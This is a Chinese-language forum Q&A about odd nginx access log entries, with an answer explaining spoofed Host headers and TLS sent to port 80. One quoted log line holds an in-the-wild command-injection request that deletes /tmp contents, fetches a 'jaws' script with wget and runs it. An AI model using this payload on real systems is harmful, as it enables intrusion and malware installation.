222.187.223.158 - - [17/Feb/2022:15:41:02 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1" 444 0 "-" "Hello, world" "http://127.0.0.1"
167.248.133.47 - - [17/Feb/2022:15:45:11 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xEF\xC512\xE3\xA4\x1D\xEF\xC4}bA!\x18\x08\xBC\x82X7\x12wuv\x1DD\x00\x8FYJ\xF8\xA6\x0E \x86N\xD1\xBB2z\xC7\xF5i\x96\xE6\xF5\xDB\xE3\x1F\xD5\x5C\xB1\x7F\xE8\xB2YU\xF7\x1B\xC0\xDF\xAB\x87w`?\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-" "http://_"
我的 nginx 中有这些条目access.log
。此外,我还将“$scheme://$host”“$server_port”“$request_body_file”添加到log_format
。
我的问题是如何将 $host 设置为这个“_”和这个“127.0.0.1”并且仍然有效?
如果您了解这种情况是如何发生的,请告诉我如何重现它。
答案1
抱歉,答案很简单:
curl -H "Host: anything" https://domain
编辑
此外,如果有人不明白这些条目是如何出现在你的 nginx 日志中的,请尝试以下操作:
curl https://example.com:80